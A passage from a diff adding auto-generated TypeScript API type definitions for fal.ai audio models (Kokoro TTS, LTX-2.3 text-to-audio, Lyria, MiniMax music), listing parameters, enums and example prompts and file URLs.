+ * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroJapanese = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/lion/piLhqKO8LJxrWaNg2dVUv_tmpp6eff6zl.wav"} + * @type object + */ + audio: File8128Aa79 +} + +export const inputFalAiKokoroMandarinChineseVoiceEnum = { + zf_xiaobei: 'zf_xiaobei', + zf_xiaoni: 'zf_xiaoni', + zf_xiaoxiao: 'zf_xiaoxiao', + zf_xiaoyi: 'zf_xiaoyi', + zm_yunjian: 'zm_yunjian', + zm_yunxi: 'zm_yunxi', + zm_yunxia: 'zm_yunxia', + zm_yunyang: 'zm_yunyang', +} as const + +export type InputFalAiKokoroMandarinChineseVoiceEnumKey = + (typeof inputFalAiKokoroMandarinChineseVoiceEnum)[keyof typeof inputFalAiKokoroMandarinChineseVoiceEnum] + +export type InputFalAiKokoroMandarinChinese = { + /** + * @example 每一个伟大的旅程,都始于勇敢迈出的第一步。加油,你可以做到! + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example zf_xiaobei + * @type string + */ + voice: InputFalAiKokoroMandarinChineseVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type FileB023Bcb4 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroMandarinChinese = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/rabbit/8UiqobkQXPrYDRHl4l5oU_tmptz6jo3ex.wav"} + * @type object + */ + audio: FileB023Bcb4 +} + +export const inputFalAiKokoroSpanishVoiceEnum = { + ef_dora: 'ef_dora', + em_alex: 'em_alex', + em_santa: 'em_santa', +} as const + +export type InputFalAiKokoroSpanishVoiceEnumKey = + (typeof inputFalAiKokoroSpanishVoiceEnum)[keyof typeof inputFalAiKokoroSpanishVoiceEnum] + +export type InputFalAiKokoroSpanish = { + /** + * @example La vida es un viaje, no un destino. Disfruta cada momento y sigue adelante con pasión. + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example ef_dora + * @type string + */ + voice: InputFalAiKokoroSpanishVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type FileEca1D230 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroSpanish = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/monkey/5rBM3qVCED73Lxs5XLcwj_tmp4f2z_qrf.wav"} + * @type object + */ + audio: FileEca1D230 +} + +/** + * @description Text-to-audio generation using the LTX-2.3 audio branch. + * @type object + */ +export type InputFalAiLtx23QualityTextToAudio = { + /** + * @description The audio duration expressed in LTX video-frame units. Duration is approximately num_frames / frames_per_second seconds. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frame rate used to derive the generated audio duration. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'pc game, console game, video game, cartoon, childish, ugly' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If True, the audio is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate the audio from. + * @example A woman says: 'Oh, what a lovely day we are having!' Natural speech, clean studio audio. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of inference steps. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type File2791605D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Audio-only output for text-to-audio generation. + * @type object + */ +export type OutputFalAiLtx23QualityTextToAudio = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated audio. + * @type object + */ + audio: File2791605D + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInputTransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInputTransformerEnumKey = + (typeof loRAInputTransformerEnum)[keyof typeof loRAInputTransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInputTransformerEnumKey +} + +/** + * @description Text-to-audio + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityTextToAudioLora = { + /** + * @description The audio duration expressed in LTX video-frame units. Duration is approximately num_frames / frames_per_second seconds. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frame rate used to derive the generated audio duration. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'pc game, console game, video game, cartoon, childish, ugly' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If True, the audio is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate the audio from. + * @example A woman says: 'Oh, what a lovely day we are having!' Natural speech, clean studio audio. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of inference steps. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput[] +} + +export type File0E869750 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Audio-only output for text-to-audio generation. + * @type object + */ +export type OutputFalAiLtx23QualityTextToAudioLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated audio. + * @type object + */ + audio: File0E869750 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type InputFalAiLyria2 = { + /** + * @description The text prompt describing the music you want to generate + * @minLength 1 + * @maxLength 2000 + * @example A lush, ambient soundscape featuring the serene sounds of a flowing river, complemented by the distant chirping of birds, and a gentle, melancholic piano melody that slowly unfolds. + * @type string + */ + prompt: string + /** + * @description A seed for deterministic generation. If provided, the model will attempt to produce the same audio given the same prompt and other parameters. + */ + seed?: number | null + /** + * @description A description of what to exclude from the generated audio + * @default 'low quality' + * @example vocals, slow tempo + * @example low quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File03Ce584D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiLyria2 = { + /** + * @description The generated music + * @example {"url":"https://v3.fal.media/files/koala/9V6ADhxcZrZr2FcaiNA7H_output.wav"} + * @type object + */ + audio: File03Ce584D +} + +export type InputFalAiLyria3 = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text prompt describing the music you want to generate. Include genre, mood, instrumentation, tempo, and vocal style for best results. Lyria 3 supports vocals, lyrics, and multi-language generation. + * @minLength 1 + * @maxLength 5000 + * @example An energetic electronic dance track with soaring synth leads, punchy four-on-the-floor kick drums, and a catchy vocal hook singing 'Feel the rhythm, feel the night'. 128 BPM. + * @type string + */ + prompt: string + /** + * @description Optional image URL to use as inspiration for music generation. The model will create music that matches the mood and theme of the image. + * @example https://v3b.fal.media/files/b/0a93b559/qjT9o0CId1B65PbD6Yp06_9c94501900464c5aa98f302fa4b00375.png + */ + image_url?: string | null + /** + * @description Negative prompting is not supported by Lyria 3. + * @deprecated + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File1688F74A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiLyria3 = { + /** + * @description The generated or provided lyrics for the track, if applicable. + * @example Caption: This is a high-energy Progressive House anthem, a subgenre of EDM defined by its massive scale and uplifting melodic content, all polished with a clean, powerful, and wide stereo production aesthetic. The rhythmic foundation is a punchy, heavily compressed four-on-the-floor kick drum, modeled after a classic Roland TR-909, providing a relentless pulse at 128 BPM. Supporting the kick are crisp, bright open hi-hats on the off-beats and a thick clap/snare layer on beats 2 and 4. The harmonic and melodic core is built from multiple synth layers: vast, shimmering supersaw synth pads play a soaring major-key chord progression; a powerful, monophonic sawtooth bassline plays the root notes and is aggressively side-chained to the kick drum to create the genre's signature 'pumping' effect. Above it all, a soaring supersaw lead synth—composed of multiple detuned sawtooth waves to create a thick, wide sound—plays a memorable, uplifting arpeggiated melody. A powerful, clean female vocal delivers the catchy hook, processed with significant hall reverb and delay to make it feel enormous and seamlessly blend with the synths. The entire instrumental bed (pads, lead, bass) is also heavily side-chained to the kick, ensuring every element ducks in volume with each beat to maximize the kick's punch and drive the track forward. + * Mosic: 4.5 + * BPM: 128.0 + */ + lyrics?: string | null + /** + * @description The generated music as an MP3 file. + * @example https://v3b.fal.media/files/b/0a93b550/klduxmeWsmi304M3zsAlr_output.mp3 + * @type object + */ + audio: File1688F74A +} + +export type InputFalAiLyria3Pro = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text prompt describing the music you want to generate. Include genre, mood, instrumentation, tempo, and vocal style for best results. Lyria 3 supports vocals, lyrics, and multi-language generation. + * @minLength 1 + * @maxLength 5000 + * @example An energetic electronic dance track with soaring synth leads, punchy four-on-the-floor kick drums, and a catchy vocal hook singing 'Feel the rhythm, feel the night'. 128 BPM. + * @type string + */ + prompt: string + /** + * @description Optional image URL to use as inspiration for music generation. The model will create music that matches the mood and theme of the image. + * @example https://v3b.fal.media/files/b/0a93b559/qjT9o0CId1B65PbD6Yp06_9c94501900464c5aa98f302fa4b00375.png + */ + image_url?: string | null + /** + * @description Negative prompting is not supported by Lyria 3. + * @deprecated + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileF6E8F2De = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiLyria3Pro = { + /** + * @description The generated or provided lyrics for the track, if applicable. + * @example Caption: This is a high-energy Progressive House anthem, a subgenre of EDM defined by its massive scale and uplifting melodic content, all polished with a clean, powerful, and wide stereo production aesthetic. The rhythmic foundation is a punchy, heavily compressed four-on-the-floor kick drum, modeled after a classic Roland TR-909, providing a relentless pulse at 128 BPM. Supporting the kick are crisp, bright open hi-hats on the off-beats and a thick clap/snare layer on beats 2 and 4. The harmonic and melodic core is built from multiple synth layers: vast, shimmering supersaw synth pads play a soaring major-key chord progression; a powerful, monophonic sawtooth bassline plays the root notes and is aggressively side-chained to the kick drum to create the genre's signature 'pumping' effect. Above it all, a soaring supersaw lead synth—composed of multiple detuned sawtooth waves to create a thick, wide sound—plays a memorable, uplifting arpeggiated melody. A powerful, clean female vocal delivers the catchy hook, processed with significant hall reverb and delay to make it feel enormous and seamlessly blend with the synths. The entire instrumental bed (pads, lead, bass) is also heavily side-chained to the kick, ensuring every element ducks in volume with each beat to maximize the kick's punch and drive the track forward. + * Mosic: 4.5 + * BPM: 128.0 + */ + lyrics?: string | null + /** + * @description The generated music as an MP3 file. + * @example https://v3b.fal.media/files/b/0a93b550/klduxmeWsmi304M3zsAlr_output.mp3 + * @type object + */ + audio: FileF6E8F2De +} + +export type InputFalAiMinimaxMusic = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Lyrics with optional formatting. You can use a newline to separate each line of lyrics. You can use two newlines to add a pause between lines. You can use double hash marks (##) at the beginning and end of the lyrics to add accompaniment. Maximum 600 characters. + * @minLength 1 + * @maxLength 600 + * @example ## Fast and Limitless + * In the heart of the code, where dreams collide, + * + * FAL's the name, taking tech for a ride. + * Generative media, blazing the trail, + * + * Fast inference power, we'll never fail. + * ## + * @type string + */ + prompt: string + /** + * @description Reference song, should contain music and vocals. Must be a .wav or .mp3 file longer than 15 seconds. + * @example https://fal.media/files/lion/OOTBTSlxKMH_E8H6hoSlb.mpga + * @type string + */ + reference_audio_url: string +} + +export type File733C906B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMinimaxMusic = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/elephant/N5UNLCwkC2y8v7a3LQLFE_output.mp3"} + * @type object + */ + audio: File733C906B +} + +export const audioSettingBitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSettingBitrateEnumKey = + (typeof audioSettingBitrateEnum)[keyof typeof audioSettingBitrateEnum] + +export const audioSettingSampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSettingSampleRateEnumKey = + (typeof audioSettingSampleRateEnum)[keyof typeof audioSettingSampleRateEnum] + +export const audioSettingFormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSettingFormatEnumKey = + (typeof audioSettingFormatEnum)[keyof typeof audioSettingFormatEnum] + +export type AudioSetting = { + /** + * @description Bitrate of generated audio + * @default 256000 + * @type number | undefined + */ + bitrate?: AudioSettingBitrateEnumKey + /** + * @description Sample rate of generated audio + * @default 44100 + * @type number | undefined + */ + sample_rate?: AudioSettingSampleRateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSettingFormatEnumKey +} + +export type InputFalAiMinimaxMusicV15 = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Lyrics, supports [intro][verse][chorus][bridge][outro] sections. 10-600 characters. + * @minLength 10 + * @maxLength 600 + * @example [verse] + * Fast and Limitless + * In the heart of the code, where dreams collide, + * + * FAL's the name, taking tech for a ride. + * Generative media, blazing the trail, + * + * Fast inference power, we'll never fail. + * ## + * @type string + */ + prompt: string + /** + * @description Control music generation. 10-3000 characters. + * @minLength 10 + * @maxLength 3000 + * @example R&B, energetic + * @type string + */ + lyrics_prompt: string + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting +} + +export type File90B26B72 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMinimaxMusicV15 = { + /** + * @description The generated music + * @example {"url":"https://v3.fal.media/files/lion/b3-wJ5bbmVo8S-KPqDBMK_output.mp3"} + * @type object + */ + audio: File90B26B72 +} + +export type InputFalAiMinimaxMusicV2 = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A description of the music, specifying style, mood, and scenario. 10-300 characters. + * @minLength 10 + * @maxLength 2000 + * @example Indie folk, melancholic, introspective, longing, solitary walk, coffee shop + * @type string + */ + prompt: string + /** + * @description Lyrics of the song. Use n to separate lines. You may add structure tags like [Intro], [Verse], [Chorus], [Bridge], [Outro] to enhance the arrangement. 10-3000 characters. + * @minLength 10 + * @maxLength 3000 + * @example [verse]Streetlights flicker, the night breeze sighsShadows stretch as I walk aloneAn old coat wraps my silent sorrow + * Wandering, longing, where should I go[chorus]Pushing the wooden door, the aroma spreadsIn a familiar corner, a stranger gazes + * @type string + */ + lyrics_prompt: string + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting +} + +export type File02Cd6876 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMinimaxMusicV2 = { + /** + * @description The generated music + * @example {"url":"https://v3.fal.media/files/lion/b3-wJ5bbmVo8S-KPqDBMK_output.mp3"} + * @type object + */ + audio: File02Cd6876 +} + +export const audioSetting25BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting25BitrateEnumKey = + (typeof audioSetting25BitrateEnum)[keyof typeof audioSetting25BitrateEnum] + +export const audioSetting25SampleRateEnum = { + '16000': 16000, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting25SampleRateEnumKey = + (typeof audioSetting25SampleRateEnum)[keyof typeof audioSetting25SampleRateEnum] + +export const audioSetting25FormatEnum = { + mp3: 'mp3', + wav: 'wav', + pcm: 'pcm', +} as const + +export type AudioSetting25FormatEnumKey = + (typeof audioSetting25FormatEnum)[keyof typeof audioSetting25FormatEnum] + +export type AudioSetting25 = { + /** + * @description Bitrate of generated audio + * @default 256000 + * @type number | undefined + */ + bitrate?: AudioSetting25BitrateEnumKey + /** + * @description Sample rate of generated audio + * @default 44100 + * @type number | undefined + */ + sample_rate?: AudioSetting25SampleRateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting25FormatEnumKey +} + +export type InputFalAiMinimaxMusicV25 = { + /** + * @description Lyrics of the song. Use \n to separate lines. Supports structure tags: [Intro], [Verse], [Pre Chorus], [Chorus], [Bridge], [Outro], [Interlude], [Hook], [Break], [Solo], [Inst]. Max 3500 characters. Required when is_instrumental is false and lyrics_optimizer is false. + * @maxLength 3500 + * @default '' + * @example [verse] + * Streetlights flicker, the night breeze sighs + * Shadows stretch as I walk alone + * [chorus] + * Wandering, longing, where should I go + * @type string | undefined + */ + lyrics?: string + /** + * @description When true, generates vocal-free instrumental music. + * @default false + * @type boolean | undefined + */ + is_instrumental?: boolean + /** + * @description A description of the music style, mood, genre, and scenario. Max 2000 characters. + * @minLength 1 + * @maxLength 2000 + * @example Indie folk, melancholic, introspective, longing, solitary walk, coffee shop + * @type string + */ + prompt: string + /** + * @description When true and lyrics is empty, auto-generates lyrics from the prompt. + * @default false + * @type boolean | undefined + */ + lyrics_optimizer?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting25 + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileBc013Eff = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMinimaxMusicV25 = { + /** + * @description The generated music + * @example {"url":"https://v3b.fal.media/files/b/kangaroo/GJe3sQehFteUTmpDROzOs_output.mp3"} + * @type object + */ + audio: FileBc013Eff +} + +export type InputFalAiMinimaxMusicV26 = { + /** + * @description Lyrics of the song. Use \n to separate lines. Supports structure tags: [Intro], [Verse], [Pre Chorus], [Chorus], [Post Chorus], [Hook], [Bridge], [Interlude], [Transition], [Build Up], [Break], [Inst], [Solo], [Outro]. Max 3500 characters. Required when is_instrumental is false. + * @maxLength 3500 + * @default '' + * @example [verse] + * Streetlights flicker, the night breeze sighs + * Shadows stretch as I walk alone + * [chorus] + * Wandering, longing, where should I go + * @type string | undefined + */ + lyrics?: string + /** + * @description When true, generates vocal-free instrumental music. + * @default false + * @type boolean | undefined + */ + is_instrumental?: boolean + /** + * @description A description of the music style, mood, genre, and scenario. 10-2000 characters. + * @minLength 10 + * @maxLength 2000 + * @example City Pop, 80s retro, groovy synth bass, warm female vocal, 104 BPM, nostalgic urban night + * @type string + */ + prompt: string + /** + * @description When true and lyrics is empty, auto-generates lyrics from the prompt. + * @default false + * @type boolean | undefined + */ + lyrics_optimizer?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting25 + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File127C1416 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMinimaxMusicV26 = { + /** + * @description The generated music + * @example {"url":"https://v3b.fal.media/files/b/kangaroo/GJe3sQehFteUTmpDROzOs_output.mp3"} + * @type object + */ + audio: File127C1416 +} + +export const voiceSettingEmotion = { + happy: 'happy', + sad: 'sad', + angry: 'angry', + fearful: 'fearful', + disgusted: 'disgusted', + surprised: 'surprised', + neutral: 'neutral', +} as const + +export type VoiceSettingEmotionKey = + (typeof voiceSettingEmotion)[keyof typeof voiceSettingEmotion] + +export type VoiceSetting = { + /** + * @description Voice pitch (-12 to 12) + * @minimum -12 + * @maximum 12 + * @default 0 + * @type integer | undefined + */ + pitch?: number + /** + * @description Volume (0-10) + * @minimum 0.01 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + vol?: number + /** + * @description Enables English text normalization to improve number reading performance, with a slight increase in latency + * @default false + * @type boolean | undefined + */ + english_normalization?: boolean + /** + * @description Speech speed (0.5-2.0) + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + speed?: number + /** + * @description Emotion of the generated speech + */ + emotion?: VoiceSettingEmotionKey | null + /** + * @description Predefined voice ID to use for synthesis + * @minLength 1 + * @default 'Wise_Woman' + * @example Wise_Woman + * @example Friendly_Person + * @example Inspirational_girl + * @example Deep_Voice_Man + * @example Calm_Woman + * @example Casual_Guy + * @example Lively_Girl + * @example Patient_Man + * @example Young_Knight + * @example Determined_Man + * @example Lovely_Girl + * @example Decent_Boy + * @example Imposing_Manner + * @example Elegant_Man + * @example Abbess + * @example Sweet_Girl_2 + * @example Exuberant_Girl + * @type string | undefined + */ + voice_id?: string +} + +export const audioSetting2Ac27A35BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting2Ac27A35BitrateEnumKey = + (typeof audioSetting2Ac27A35BitrateEnum)[keyof typeof audioSetting2Ac27A35BitrateEnum] + +export const audioSetting2Ac27A35FormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting2Ac27A35FormatEnumKey = + (typeof audioSetting2Ac27A35FormatEnum)[keyof typeof audioSetting2Ac27A35FormatEnum] + +export const audioSetting2Ac27A35ChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting2Ac27A35ChannelEnumKey = + (typeof audioSetting2Ac27A35ChannelEnum)[keyof typeof audioSetting2Ac27A35ChannelEnum] + +export const audioSetting2Ac27A35SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting2Ac27A35SampleRateEnumKey = + (typeof audioSetting2Ac27A35SampleRateEnum)[keyof typeof audioSetting2Ac27A35SampleRateEnum] + +export type AudioSetting2Ac27A35 = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting2Ac27A35BitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting2Ac27A35FormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting2Ac27A35ChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSetting2Ac27A35SampleRateEnumKey +} + +export type PronunciationDict = { + /** + * @description List of pronunciation replacements in format ['text/(pronunciation)', ...]. For Chinese, tones are 1-5. Example: ['燕少飞/(yan4)(shao3)(fei1)'] + * @type array | undefined + */ + tone_list?: string[] +} + +export const inputFalAiMinimaxPreviewSpeech25HdLanguageBoost = { + Persian: 'Persian', + Filipino: 'Filipino', + Tamil: 'Tamil', + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxPreviewSpeech25HdLanguageBoostKey = + (typeof inputFalAiMinimaxPreviewSpeech25HdLanguageBoost)[keyof typeof inputFalAiMinimaxPreviewSpeech25HdLanguageBoost] + +export const inputFalAiMinimaxPreviewSpeech25HdOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxPreviewSpeech25HdOutputFormatEnumKey = + 